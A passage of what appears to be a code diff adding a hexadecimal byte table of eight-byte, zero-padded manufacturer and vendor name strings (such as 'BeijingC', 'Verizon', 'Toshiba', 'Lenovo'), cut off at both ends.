0x72, +0x53, 0x6b, 0x4d, 0x74, 0x65, 0x6b, 0x00, 0x00, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x43, +0x42, 0x61, 0x73, 0x65, 0x00, 0x00, 0x00, 0x00, +0x42, 0x6f, 0x77, 0x65, 0x69, 0x54, 0x65, 0x63, +0x50, 0x6c, 0x61, 0x73, 0x74, 0x6f, 0x66, 0x6f, +0x4c, 0x69, 0x6b, 0x61, 0x53, 0x72, 0x6c, 0x00, +0x47, 0x61, 0x6e, 0x61, 0x49, 0x26, 0x43, 0x00, +0x51, 0x2d, 0x4c, 0x61, 0x62, 0x00, 0x00, 0x00, +0x42, 0x6c, 0x75, 0x2d, 0x52, 0x61, 0x79, 0x44, +0x55, 0x74, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x42, 0x69, 0x6f, 0x53, 0x6f, 0x75, 0x6e, 0x64, +0x44, 0x6f, 0x6d, 0x69, 0x6e, 0x6f, 0x55, 0x6b, +0x4d, 0x69, 0x64, 0x61, 0x73, 0x4b, 0x6c, 0x61, +0x50, 0x72, 0x65, 0x63, 0x69, 0x61, 0x00, 0x00, +0x4c, 0x69, 0x76, 0x65, 0x72, 0x6f, 0x63, 0x6b, +0x41, 0x78, 0x69, 0x6d, 0x75, 0x6d, 0x50, 0x72, +0x46, 0x69, 0x73, 0x79, 0x73, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x73, 0x74, 0x61, 0x72, 0x44, 0x65, +0x4d, 0x61, 0x78, 0x77, 0x61, 0x79, 0x45, 0x6c, +0x51, 0x69, 0x48, 0x61, 0x72, 0x64, 0x77, 0x61, +0x53, 0x65, 0x6f, 0x68, 0x77, 0x61, 0x54, 0x65, +0x41, 0x70, 0x72, 0x4c, 0x6c, 0x63, 0x00, 0x00, +0x4b, 0x77, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x6e, +0x53, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x65, +0x50, 0x68, 0x61, 0x73, 0x65, 0x73, 0x70, 0x61, +0x43, 0x61, 0x6e, 0x6f, 0x67, 0x61, 0x50, 0x65, +0x54, 0x6e, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, +0x47, 0x72, 0x69, 0x64, 0x63, 0x6f, 0x00, 0x00, +0x54, 0x33, 0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x61, +0x52, 0x65, 0x61, 0x63, 0x68, 0x65, 0x6e, 0x67, +0x4b, 0x61, 0x6e, 0x67, 0x73, 0x68, 0x65, 0x6e, +0x53, 0x68, 0x61, 0x6e, 0x79, 0x45, 0x6c, 0x65, +0x4d, 0x69, 0x72, 0x75, 0x73, 0x79, 0x73, 0x74, +0x53, 0x6e, 0x6b, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x41, 0x62, 0x72, 0x61, 0x6e, 0x74, 0x69, 0x78, +0x50, 0x6c, 0x6e, 0x65, 0x74, 0x77, 0x6f, 0x72, +0x41, 0x6e, 0x61, 0x6b, 0x72, 0x65, 0x6f, 0x6e, +0x41, 0x74, 0x70, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x4e, 0x69, 0x6e, 0x67, 0x62, 0x6f, 0x53, 0x61, +0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x43, 0x6f, 0x73, +0x54, 0x72, 0x65, 0x65, 0x74, 0x65, 0x63, 0x68, +0x56, 0x6f, 0x6c, 0x65, 0x78, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x69, 0x6d, +0x45, 0x65, 0x72, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x45, 0x75, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x78, +0x4d, 0x69, 0x64, 0x69, 0x63, 0x6f, 0x6d, 0x45, +0x4e, 0x65, 0x6d, 0x6f, 0x61, 0x45, 0x6c, 0x65, +0x41, 0x72, 0x6d, 0x74, 0x65, 0x6c, 0x00, 0x00, +0x49, 0x6e, 0x63, 0x69, 0x70, 0x69, 0x6f, 0x54, +0x41, 0x6d, 0x70, 0x68, 0x69, 0x74, 0x65, 0x63, +0x4c, 0x74, 0x53, 0x65, 0x63, 0x75, 0x72, 0x69, +0x41, 0x76, 0x65, 0x72, 0x6d, 0x65, 0x74, 0x72, +0x54, 0x65, 0x6d, 0x4d, 0x6f, 0x62, 0x69, 0x6c, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x62, 0x72, 0x69, +0x46, 0x75, 0x74, 0x75, 0x72, 0x65, 0x44, 0x65, +0x50, 0x72, 0x6f, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x44, 0x79, 0x6e, 0x61, 0x70, 0x6f, 0x77, 0x65, +0x4e, 0x6f, 0x63, 0x63, 0x65, 0x6c, 0x61, 0x4f, +0x4d, 0x6f, 0x6e, 0x61, 0x63, 0x6f, 0x45, 0x6e, +0x41, 0x70, 0x6f, 0x6c, 0x6c, 0x6f, 0x53, 0x65, +0x41, 0x76, 0x69, 0x73, 0x74, 0x65, 0x6c, 0x00, +0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x53, 0x6f, +0x45, 0x6e, 0x74, 0x69, 0x73, 0x00, 0x00, 0x00, +0x53, 0x61, 0x76, 0x69, 0x74, 0x65, 0x63, 0x68, +0x4c, 0x6f, 0x67, 0x69, 0x2d, 0x44, 0x00, 0x00, +0x4e, 0x79, 0x61, 0x6e, 0x74, 0x65, 0x63, 0x00, +0x4b, 0x61, 0x6c, 0x65, 0x61, 0x6f, 0x00, 0x00, +0x43, 0x79, 0x70, 0x72, 0x65, 0x73, 0x73, 0x45, +0x54, 0x75, 0x62, 0x69, 0x74, 0x61, 0x6b, 0x55, +0x56, 0x61, 0x72, 0x65, 0x78, 0x49, 0x6d, 0x61, +0x4a, 0x6f, 0x61, 0x54, 0x65, 0x6c, 0x65, 0x63, +0x48, 0x65, 0x66, 0x65, 0x69, 0x52, 0x61, 0x64, +0x56, 0x69, 0x78, 0x74, 0x65, 0x6c, 0x54, 0x65, +0x4c, 0x63, 0x66, 0x63, 0x48, 0x65, 0x66, 0x65, +0x41, 0x64, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x6f, 0x6e, 0x67, 0x74, 0x6f, 0x70, 0x49, +0x50, 0x6e, 0x69, 0x53, 0x65, 0x6e, 0x73, 0x6f, +0x42, 0x6c, 0x75, 0x43, 0x61, 0x73, 0x74, 0x6c, +0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x5a, +0x53, 0x4d, 0x44, 0x65, 0x7a, 0x61, 0x63, 0x53, +0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x6f, +0x4d, 0x73, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x66, 0x69, 0x6e, 0x69, 0x77, 0x69, +0x47, 0x69, 0x67, 0x61, 0x73, 0x65, 0x74, 0x44, +0x41, 0x72, 0x63, 0x68, 0x65, 0x61, 0x6e, 0x54, +0x44, 0x75, 0x6e, 0x65, 0x48, 0x64, 0x00, 0x00, +0x53, 0x61, 0x62, 0x74, 0x65, 0x63, 0x68, 0x49, +0x4b, 0x41, 0x53, 0x63, 0x68, 0x6d, 0x65, 0x72, +0x48, 0x75, 0x26, 0x43, 0x6f, 0x00, 0x00, 0x00, +0x4f, 0x68, 0x73, 0x75, 0x6e, 0x67, 0x00, 0x00, +0x43, 0x6f, 0x6e, 0x63, 0x68, 0x45, 0x6c, 0x65, +0x53, 0x4e, 0x65, 0x74, 0x4d, 0x65, 0x64, 0x69, +0x4d, 0x70, 0x6d, 0x6b, 0x76, 0x76, 0x63, 0x6c, +0x4d, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x4c, 0x6c, +0x42, 0x73, 0x6d, 0x65, 0x64, 0x69, 0x61, 0x73, +0x57, 0x61, 0x63, 0x68, 0x74, 0x65, 0x72, 0x00, +0x4b, 0x61, 0x69, 0x61, 0x6d, 0x00, 0x00, 0x00, +0x41, 0x69, 0x72, 0x6e, 0x61, 0x76, 0x4c, 0x6c, +0x58, 0x74, 0x72, 0x65, 0x6d, 0x69, 0x6f, 0x00, +0x53, 0x61, 0x67, 0x69, 0x74, 0x74, 0x61, 0x72, +0x46, 0x69, 0x74, 0x62, 0x69, 0x74, 0x00, 0x00, +0x48, 0x61, 0x72, 0x62, 0x69, 0x6e, 0x41, 0x72, +0x42, 0x69, 0x74, 0x74, 0x69, 0x75, 0x6d, 0x57, +0x49, 0x62, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, +0x44, 0x69, 0x6c, 0x61, 0x78, 0x49, 0x6e, 0x74, +0x41, 0x63, 0x65, 0x72, 0x43, 0x6f, 0x6d, 0x70, +0x4e, 0x61, 0x6e, 0x6f, 0x74, 0x72, 0x6f, 0x6e, +0x49, 0x73, 0x6f, 0x6e, 0x65, 0x61, 0x00, 0x00, +0x57, 0x65, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x68, +0x43, 0x65, 0x64, 0x69, 0x6e, 0x74, 0x2d, 0x55, +0x43, 0x65, 0x70, 0x74, 0x6f, 0x6e, 0x54, 0x65, +0x54, 0x65, 0x62, 0x53, 0x61, 0x73, 0x00, 0x00, +0x44, 0x61, 0x65, 0x77, 0x6f, 0x6f, 0x69, 0x73, +0x54, 0x61, 0x6d, 0x74, 0x72, 0x6f, 0x6e, 0x4f, +0x41, 0x7a, 0x74, 0x65, 0x63, 0x68, 0x41, 0x73, +0x4b, 0x75, 0x6d, 0x6d, 0x6c, 0x65, 0x72, 0x2b, +0x38, 0x64, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x43, 0x6f, 0x6e, 0x63, 0x65, 0x70, 0x74, 0x44, +0x4e, 0x65, 0x63, 0x74, 0x61, 0x72, 0x73, 0x6f, +0x4a, 0x69, 0x6e, 0x77, 0x6f, 0x6f, 0x49, 0x6e, +0x57, 0x6f, 0x6f, 0x6a, 0x69, 0x6e, 0x49, 0x6e, +0x4c, 0x61, 0x6f, 0x6e, 0x54, 0x65, 0x63, 0x68, +0x45, 0x6c, 0x65, 0x63, 0x73, 0x79, 0x73, 0x49, +0x57, 0x75, 0x68, 0x61, 0x6e, 0x4c, 0x69, 0x6e, +0x43, 0x61, 0x70, 0x2d, 0x54, 0x65, 0x63, 0x68, +0x55, 0x6e, 0x69, 0x63, 0x6f, 0x69, 0x00, 0x00, +0x53, 0x75, 0x6e, 0x73, 0x65, 0x61, 0x54, 0x65, +0x42, 0x79, 0x64, 0x50, 0x72, 0x65, 0x63, 0x69, +0x52, 0x69, 0x61, 0x76, 0x61, 0x4e, 0x65, 0x74, +0x46, 0x61, 0x73, 0x74, 0x62, 0x61, 0x63, 0x6b, +0x4d, 0x65, 0x73, 0x73, 0x6f, 0x61, 0x54, 0x65, +0x53, 0x6f, 0x61, 0x72, 0x6e, 0x65, 0x78, 0x00, +0x5a, 0x65, 0x6e, 0x6f, 0x74, 0x65, 0x63, 0x68, +0x42, 0x6f, 0x62, 0x6a, 0x67, 0x65, 0x61, 0x72, +0x4c, 0x65, 0x6d, 0x6f, 0x6e, 0x62, 0x65, 0x61, +0x54, 0x6f, 0x70, 0x56, 0x69, 0x63, 0x74, 0x6f, +0x56, 0x65, 0x72, 0x6f, 0x73, 0x00, 0x00, 0x00, +0x48, 0x61, 0x6e, 0x6f, 0x76, 0x65, 0x72, 0x44, +0x4b, 0x6f, 0x6d, 0x65, 0x67, 0x49, 0x6e, 0x64, +0x42, 0x65, 0x77, 0x61, 0x72, 0x64, 0x52, 0x26, +0x41, 0x64, 0x61, 0x6e, 0x69, 0x73, 0x00, 0x00, +0x45, 0x74, 0x61, 0x50, 0x6c, 0x75, 0x73, 0x45, +0x47, 0x6d, 0x6a, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x41, 0x6d, 0x69, 0x63, 0x63, 0x6f, 0x6d, 0x45, +0x56, 0x61, 0x6c, 0x65, 0x6f, 0x56, 0x69, 0x73, +0x42, 0x61, 0x72, 0x62, 0x65, 0x72, 0x72, 0x79, +0x41, 0x6c, 0x69, 0x62, 0x61, 0x62, 0x61, 0x43, +0x43, 0x6f, 0x72, 0x65, 0x74, 0x72, 0x75, 0x73, +0x43, 0x65, 0x72, 0x65, 0x62, 0x72, 0x65, 0x78, +0x54, 0x70, 0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, +0x47, 0x32, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6c, 0x49, +0x43, 0x73, 0x65, 0x2d, 0x53, 0x65, 0x72, 0x76, +0x45, 0x73, 0x73, 0x65, 0x6c, 0x2d, 0x54, 0x00, +0x50, 0x6f, 0x6c, 0x6f, 0x73, 0x74, 0x61, 0x72, +0x44, 0x69, 0x67, 0x69, 0x74, 0x72, 0x6f, 0x6e, +0x54, 0x6f, 0x72, 0x72, 0x65, 0x79, 0x50, 0x69, +0x4e, 0x65, 0x74, 0x6c, 0x6f, 0x67, 0x69, 0x63, +0x4e, 0x65, 0x73, 0x74, 0x4c, 0x61, 0x62, 0x73, +0x49, 0x2d, 0x53, 0x74, 0x6f, 0x72, 0x6d, 0x00, +0x49, 0x6e, 0x76, 0x6f, 0x78, 0x69, 0x61, 0x00, +0x4c, 0x2d, 0x54, 0x65, 0x63, 0x68, 0x00, 0x00, +0x54, 0x75, 0x63, 0x73, 0x6f, 0x6e, 0x45, 0x6d, +0x50, 0x68, 0x69, 0x6c, 0x69, 0x6f, 0x54, 0x65, +0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x4a, +0x53, 0x6d, 0x67, 0x48, 0x6f, 0x6c, 0x64, 0x69, +0x49, 0x6e, 0x6d, 0x61, 0x72, 0x73, 0x61, 0x74, +0x4b, 0x75, 0x72, 0x74, 0x68, 0x45, 0x6c, 0x65, +0x51, 0x76, 0x69, 0x73, 0x4c, 0x61, 0x62, 0x73, +0x53, 0x74, 0x74, 0x43, 0x6f, 0x6e, 0x64, 0x69, +0x56, 0x69, 0x6b, 0x69, 0x6e, 0x67, 0x45, 0x6c, +0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x74, 0x65, +0x4e, 0x65, 0x74, 0x63, 0x6f, 0x6d, 0x6d, 0x57, +0x53, 0x68, 0x61, 0x6e, 0x6e, 0x6f, 0x6e, 0x00, +0x49, 0x33, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x6e, +0x49, 0x73, 0x63, 0x41, 0x70, 0x70, 0x6c, 0x69, +0x43, 0x68, 0x61, 0x6e, 0x67, 0x68, 0x65, 0x45, +0x45, 0x73, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, +0x41, 0x75, 0x74, 0x6f, 0x73, 0x61, 0x72, 0x00, +0x4e, 0x61, 0x72, 0x69, 0x54, 0x65, 0x63, 0x68, +0x49, 0x64, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, +0x45, 0x70, 0x69, 0x63, 0x6f, 0x6d, 0x53, 0x41, +0x4c, 0x75, 0x63, 0x69, 0x64, 0x56, 0x69, 0x73, +0x53, 0x79, 0x70, 0x72, 0x6f, 0x4f, 0x70, 0x74, +0x57, 0x61, 0x72, 0x74, 0x73, 0x69, 0x6c, 0x61, +0x49, 0x65, 0x65, 0x65, 0x50, 0x65, 0x73, 0x50, +0x41, 0x69, 0x72, 0x77, 0x69, 0x72, 0x65, 0x54, +0x45, 0x79, 0x65, 0x76, 0x69, 0x73, 0x00, 0x00, +0x44, 0x61, 0x6c, 0x69, 0x61, 0x6e, 0x48, 0x69, +0x4c, 0x69, 0x66, 0x65, 0x62, 0x65, 0x61, 0x6d, +0x45, 0x64, 0x6d, 0x69, 0x45, 0x75, 0x72, 0x6f, +0x44, 0x61, 0x74, 0x61, 0x6e, 0x67, 0x47, 0x6f, +0x50, 0x65, 0x72, 0x6e, 0x69, 0x78, 0x64, 0x61, +0x49, 0x74, 0x73, 0x54, 0x65, 0x6c, 0x65, 0x63, +0x4e, 0x65, 0x77, 0x4c, 0x69, 0x66, 0x74, 0x4e, +0x43, 0x6c, 0x6f, 0x75, 0x64, 0x69, 0x75, 0x6d, +0x41, 0x63, 0x63, 0x75, 0x73, 0x70, 0x65, 0x63, +0x53, 0x69, 0x67, 0x6d, 0x61, 0x4b, 0x6f, 0x6b, +0x47, 0x65, 0x6d, 0x61, 0x6c, 0x74, 0x6f, 0x4d, +0x4a, 0x61, 0x70, 0x61, 0x6e, 0x43, 0x69, 0x72, +0x49, 0x6d, 0x73, 0x4d, 0x65, 0x73, 0x73, 0x73, +0x41, 0x6d, 0x6f, 0x6e, 0x00, 0x00, 0x00, 0x00, +0x53, 0x6d, 0x67, 0x45, 0x6e, 0x74, 0x65, 0x72, +0x54, 0x65, 0x63, 0x68, 0x61, 0x79, 0x61, 0x00, +0x46, 0x6c, 0x61, 0x74, 0x44, 0x69, 0x73, 0x70, +0x51, 0x69, 0x61, 0x6e, 0x67, 0x75, 0x61, 0x00, +0x4b, 0x72, 0x61, 0x66, 0x74, 0x77, 0x61, 0x79, +0x54, 0x65, 0x67, 0x69, 0x6c, 0x65, 0x00, 0x00, +0x50, 0x72, 0x69, 0x6d, 0x61, 0x43, 0x69, 0x6e, +0x4f, 0x70, 0x65, 0x6e, 0x70, 0x72, 0x6f, 0x64, +0x4d, 0x69, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, +0x4c, 0x6f, 0x67, 0x69, 0x73, 0x74, 0x69, 0x63, +0x51, 0x75, 0x61, 0x72, 0x69, 0x6f, 0x6e, 0x54, +0x4e, 0x65, 0x6f, 0x74, 0x65, 0x63, 0x68, 0x00, +0x54, 0x65, 0x72, 0x61, 0x73, 0x69, 0x63, 0x54, +0x45, 0x69, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, +0x56, 0x69, 0x74, 0x65, 0x6b, 0x49, 0x6e, 0x64, +0x43, 0x6f, 0x72, 0x69, 0x61, 0x6e, 0x74, 0x00, +0x33, 0x62, 0x75, 0x6d, 0x65, 0x6e, 0x43, 0x6f, +0x48, 0x65, 0x66, 0x65, 0x69, 0x42, 0x69, 0x74, +0x4c, 0x69, 0x6e, 0x6b, 0x65, 0x64, 0x49, 0x70, +0x4d, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x44, 0x62, 0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e, +0x50, 0x68, 0x61, 0x73, 0x65, 0x4d, 0x6f, 0x74, +0x52, 0x75, 0x61, 0x67, 0x53, 0x63, 0x68, 0x77, +0x49, 0x2d, 0x4c, 0x61, 0x78, 0x45, 0x6c, 0x65, +0x56, 0x65, 0x65, 0x74, 0x68, 0x72, 0x65, 0x65, +0x57, 0x65, 0x69, 0x66, 0x61, 0x6e, 0x67, 0x47, +0x50, 0x72, 0x69, 0x63, 0x6f, 0x6d, 0x44, 0x65, +0x5a, 0x6f, 0x6f, 0x76, 0x65, 0x6c, 0x54, 0x65, +0x52, 0x75, 0x77, 0x69, 0x64, 0x6f, 0x41, 0x75, +0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x6f, 0x6c, 0x74, +0x4e, 0x65, 0x77, 0x48, 0x33, 0x63, 0x54, 0x65, +0x42, 0x6f, 0x73, 0x75, 0x6e, 0x67, 0x45, 0x6c, +0x54, 0x64, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x42, 0x65, 0x63, 0x6f, 0x6e, 0x54, 0x65, 0x63, +0x4f, 0x6a, 0x73, 0x63, 0x55, 0x66, 0x69, 0x6d, +0x41, 0x6d, 0x70, 0x6c, 0x69, 0x66, 0x69, 0x65, +0x57, 0x61, 0x76, 0x65, 0x74, 0x72, 0x6f, 0x6e, +0x4d, 0x69, 0x6c, 0x65, 0x73, 0x69, 0x67, 0x68, +0x4b, 0x72, 0x69, 0x77, 0x61, 0x6e, 0x49, 0x6e, +0x4c, 0x65, 0x65, 0x64, 0x61, 0x72, 0x73, 0x6f, +0x4d, 0x61, 0x72, 0x73, 0x68, 0x61, 0x6c, 0x00, +0x45, 0x6c, 0x6f, 0x54, 0x6f, 0x75, 0x63, 0x68, +0x49, 0x6c, 0x73, 0x68, 0x69, 0x6e, 0x45, 0x6c, +0x42, 0x65, 0x62, 0x72, 0x6f, 0x45, 0x6c, 0x65, +0x57, 0x65, 0x61, 0x72, 0x68, 0x61, 0x75, 0x73, +0x53, 0x63, 0x61, 0x70, 0x73, 0x00, 0x00, 0x00, +0x54, 0x75, 0x72, 0x74, 0x6c, 0x65, 0x49, 0x6e, +0x52, 0x65, 0x61, 0x6c, 0x66, 0x69, 0x63, 0x74, +0x49, 0x64, 0x65, 0x6e, 0x74, 0x79, 0x74, 0x65, +0x4c, 0x69, 0x6e, 0x65, 0x61, 0x52, 0x65, 0x73, +0x52, 0x61, 0x64, 0x6d, 0x61, 0x78, 0x43, 0x6f, +0x4f, 0x6f, 0x6f, 0x49, 0x6e, 0x70, 0x72, 0x6f, +0x58, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x68, 0x61, +0x49, 0x65, 0x63, 0x54, 0x63, 0x39, 0x57, 0x00, +0x46, 0x6f, 0x78, 0x74, 0x65, 0x63, 0x68, 0x00, +0x4d, 0x6f, 0x73, 0x74, 0x4c, 0x75, 0x63, 0x6b, +0x53, 0x63, 0x69, 0x65, 0x6e, 0x74, 0x65, 0x63, +0x45, 0x6c, 0x61, 0x74, 0x65, 0x63, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x76, 0x69, 0x65, 0x77, +0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x63, +0x4b, 0x6f, 0x6e, 0x67, 0x59, 0x75, 0x65, 0x45, +0x43, 0x6f, 0x6c, 0x6c, 0x69, 0x6e, 0x65, 0x61, +0x48, 0x64, 0x73, 0x6e, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x67, 0x61, 0x66, 0x6f, 0x6e, 0x65, +0x4b, 0x75, 0x69, 0x70, 0x65, 0x72, 0x73, 0x45, +0x53, 0x69, 0x76, 0x61, 0x6e, 0x74, 0x6f, 0x73, +0x46, 0x65, 0x6e, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x65, 0x68, 0x44, +0x56, 0x65, 0x63, 0x6f, 0x77, 0x00, 0x00, 0x00, +0x48, 0x61, 0x6e, 0x73, 0x63, 0x61, 0x6e, 0x53, +0x48, 0x75, 0x67, 0x6f, 0x42, 0x72, 0x65, 0x6e, +0x41, 0x78, 0x78, 0x61, 0x6e, 0x61, 0x49, 0x73, +0x52, 0x69, 0x73, 0x6b, 0x54, 0x65, 0x63, 0x68, +0x47, 0x6f, 0x74, 0x65, 0x63, 0x68, 0x49, 0x6e, +0x50, 0x61, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x54, +0x43, 0x6f, 0x76, 0x61, 0x6c, 0x00, 0x00, 0x00, +0x59, 0x61, 0x6e, 0x67, 0x7a, 0x68, 0x6f, 0x75, +0x41, 0x62, 0x65, 0x65, 0x77, 0x61, 0x79, 0x00, +0x50, 0x6c, 0x75, 0x74, 0x6f, 0x00, 0x00, 0x00, +0x41, 0x74, 0x6c, 0x61, 0x73, 0x45, 0x6c, 0x65, +0x42, 0x72, 0x61, 0x65, 0x6d, 0x61, 0x63, 0x43, +0x53, 0x66, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x4c, 0x65, 0x6e, 0x6f, 0x76, 0x6f, 0x42, 0x65, +0x44, 0x65, 0x6c, 0x74, 0x61, 0x46, 0x61, 0x75, +0x41, 0x73, 0x73, 0x61, 0x00, 0x00, 0x00, 0x00, +0x41, 0x65, 0x73, 0x4d, 0x6f, 0x74, 0x6f, 0x6d, +0x50, 0x72, 0x6f, 0x66, 0x61, 0x6c, 0x75, 0x78, +0x49, 0x4d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x56, 0x6f, 0x6c, 0x61, 0x63, 0x6f, 0x6d, 0x6d, +0x4a, 0x69, 0x61, 0x78, 0x69, 0x6e, 0x67, 0x47, +0x4c, 0x65, 0x65, 0x2d, 0x44, 0x69, 0x63, 0x6b, +0x4d, 0x69, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, +0x42, 0x6f, 0x69, 0x6e, 0x74, 0x65, 0x63, 0x54, +0x49, 0x70, 0x2d, 0x4e, 0x65, 0x74, 0x4c, 0x6c, +0x45, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x74, 0x72, +0x4d, 0x69, 0x6d, 0x6f, 0x73, 0x61, 0x4e, 0x65, +0x4f, 0x6d, 0x69, 0x63, 0x72, 0x6f, 0x6e, 0x45, +0x43, 0x6f, 0x6c, 0x47, 0x69, 0x6f, 0x76, 0x61, +0x44, 0x76, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, +0x56, 0x65, 0x72, 0x69, 0x7a, 0x6f, 0x6e, 0x00, +0x49, 0x57, 0x69, 0x74, 0x44, 0x69, 0x67, 0x69, +0x52, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x6e, 0x65, +0x50, 0x65, 0x72, 0x61, 0x73, 0x6f, 0x54, 0x65, +0x57, 0x69, 0x6e, 0x63, 0x61, 0x6c, 0x54, 0x65, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x63, 0x61, 0x70, +0x4b, 0x6f, 0x72, 0x65, 0x61, 0x49, 0x6e, 0x66, +0x50, 0x6f, 0x73, 0x68, 0x4d, 0x6f, 0x62, 0x69, +0x49, 0x6f, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, +0x43, 0x68, 0x65, 0x65, 0x74, 0x61, 0x68, 0x48, +0x53, 0x70, 0x61, 0x72, 0x6b, 0x53, 0x72, 0x6c, +0x41, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x45, +0x45, 0x6c, 0x65, 0x66, 0x69, 0x72, 0x73, 0x74, +0x4d, 0x74, 0x64, 0x61, 0x74, 0x61, 0x44, 0x65, +0x43, 0x6f, 0x64, 0x65, 0x78, 0x44, 0x69, 0x67, +0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x49, 0x6e, +0x4d, 0x32, 0x6d, 0x53, 0x6f, 0x6c, 0x75, 0x74, +0x4d, 0x74, 0x6e, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x44, 0x65, 0x76, 0x6c, 0x69, 0x6e, 0x45, 0x6c, +0x56, 0x69, 0x65, 0x74, 0x74, 0x65, 0x6c, 0x47, +0x4b, 0x6f, 0x73, 0x74, 0x61, 0x6c, 0x49, 0x6e, +0x53, 0x6d, 0x6e, 0x64, 0x00, 0x00, 0x00, 0x00, +0x48, 0x75, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00, +0x45, 0x6e, 0x74, 0x72, 0x6f, 0x70, 0x69, 0x78, +0x53, 0x71, 0x75, 0x61, 0x72, 0x65, 0x68, 0x65, +0x43, 0x61, 0x6c, 0x73, 0x79, 0x73, 0x00, 0x00, +0x54, 0x6f, 0x73, 0x68, 0x69, 0x62, 0x61, 0x47, +0x45, 0x6d, 0x63, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x49, 0x72, 0x74, 0x73, 0x00, 0x00, 0x00, 0x00, +0x44, 0x79, 0x6e, 0x61, 0x6d, 0x6f, 0x64, 0x65, +0x41, 0x6c, 0x69, 0x6e, 0x63, 0x6f, 0x00, 0x00, +0x47, 0x65, 0x6d, 0x75, 0x65, 0x47, 0x65, 0x62, +0x50, 0x65, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x49, 0x72, 0x75, 0x6c, 0x65, 0x4c, 0x6c, 0x63, +0x56, 0x69, 0x7a, 0x65, 0x6f, 0x00, 0x00, 0x00, +0x57, 0x68, 0x69, 0x74, 0x65, 0x53, 0x6b, 0x79, +0x4c, 0x69, 0x74, 0x65, 0x6f, 0x6e, 0x00, 0x00, +0x4e, 0x63, 0x73, 0x65, 0x00, 0x00, 0x00, 0x00, +0x41, 0x78, 0x69, 0x65, 0x43, 0x6f, 0x6e, 0x73, +0x51, 0x6e, 0x61, 0x70, 0x00, 0x00, 0x00, 0x00, +0x52, 0x61, 0x7a, 0x62, 0x65, 0x72, 0x69, 0x54, +0x53, 0x79, 0x73, 0x6d, 0x6f, 0x63, 0x6f, 0x6d, +0x43, 0x79, 0x67, 0x53, 0x75, 0x6e, 0x72, 0x69, +0x42, 0x72, 0x61, 0x76, 0x65, 0x72, 0x69, 0x64, +0x49, 0x6e, 0x6e, 0x6f, 0x64, 0x69, 0x73, 0x6b, +0x4a, 0x61, 0x73, 0x6d, 0x69, 0x6e, 0x65, 0x00, +0x49, 0x74, 0x2d, 0x49, 0x73, 0x49, 0x6e, 0x74, +0x59, 0x75, 0x6b, 0x61, 0x69, 0x45, 0x6e, 0x67, +0x49, 0x6f, 0x74, 0x74, 0x65, 0x63, 0x68, 0x00, +0x48, 0x65, 0x72, 0x6d, 0x61, 0x6e, 0x4d, 0x69, +0x57, 0x65, 0x73, 0x74, 0x63, 0x6f, 0x6e, 0x74, +0x4b, 0x73, 0x68, 0x49, 0x6e, 0x74, 0x65, 0x72, +0x50, 0x72, 0x6f, 0x77, 0x61, 0x76, 0x65, 0x54, +0x43, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00, 0x00, +0x53, 0x65, 0x6e, 0x65, 0x72, 0x67, 0x79, 0x00, +0x56, 0x6f, 0x78, 0x74, 0x72, 0x6f, 